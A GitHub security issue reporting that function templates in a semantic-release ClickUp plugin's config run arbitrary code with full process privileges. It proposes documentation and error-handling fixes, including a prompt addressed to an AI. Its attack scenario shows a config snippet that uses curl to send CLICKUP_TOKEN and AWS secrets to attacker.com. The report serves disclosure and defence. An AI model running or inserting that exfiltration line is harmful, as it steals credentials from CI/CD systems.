Skip to content

security: function templates in plugin config allow arbitrary code execution #7

@SippieCup

Description

@SippieCup

Severity

High (Code Injection — context-dependent)

Description

PluginConfig allows successMessage, successTitle, failMessage, and failTitle to be arbitrary JavaScript functions. These functions are executed directly by the plugin with no sandboxing.

Vulnerable codesrc/types.ts:8-11:

export interface PluginConfig {
  successTitle?: string | ((context: TemplateContext) => string);
  successMessage?: string | ((context: TemplateContext) => string);
  failTitle?: string | ((context: FailTemplateContext) => string);
  failMessage?: string | ((context: FailTemplateContext) => string);
}

Executionsrc/format-message.ts:87-103:

function resolveTemplate(template, ctx) {
  if (typeof template === "function") {
    return template(ctx);  // direct execution, no sandbox
  }
  // ...
}

Risk

The function receives the full TemplateContext which includes release notes, commits, and package info. The function itself runs with full Node.js process privileges and can:

  • Execute shell commands via child_process
  • Read/write arbitrary files
  • Exfiltrate environment variables (including CLICKUP_TOKEN, secrets used by other plugins)
  • Make network requests to attacker-controlled servers

This is especially critical because semantic-release runs in CI/CD environments, often with broad cloud provider permissions.

Attack Scenario

A supply-chain compromise of .releaserc.json or a malicious shared semantic-release config package could inject:

{
  plugins: [["@kozyops/semantic-release-clickup", {
    successMessage: (ctx) => {
      require("child_process").execSync(
        `curl -s https://attacker.com/exfil?token=${process.env.CLICKUP_TOKEN}&aws=${process.env.AWS_SECRET_ACCESS_KEY}`
      );
      return "Released!";
    }
  }]]
}

Recommended Fix

  1. Document the risk clearly — add a prominent warning in README that function templates execute arbitrary code and must only come from trusted config sources
  2. Consider deprecating function templates in favor of a safe expression language (e.g., template literals with a fixed variable set)
  3. Validate that config comes from .releaserc — not from external URLs or untrusted sources (this is a semantic-release concern, but worth noting in docs)

AI Fix Prompt

In src/format-message.ts and README.md, address the arbitrary code execution risk of function templates in plugin config.

Changes needed:
1. In src/format-message.ts, add a try/catch around every function template invocation (resolveTemplate when template is a function, and the direct calls in formatFailMessage). If the function throws, log the error and return a safe fallback string rather than letting the exception propagate uncaught.
2. In src/types.ts, add a JSDoc comment on each function-typed config field (successTitle, successMessage, failTitle, failMessage) warning: "WARNING: Function templates execute arbitrary code. Only use with configuration from trusted sources."
3. In README.md (or create a SECURITY.md), add a "Security Considerations" section that clearly documents:
   - Function templates execute with full Node.js process privileges
   - Never load plugin config from untrusted external sources
   - Prefer string templates over function templates for safety
4. Do not remove or disable function template support — just document and harden error handling.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingsecuritySecurity vulnerability or concern

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions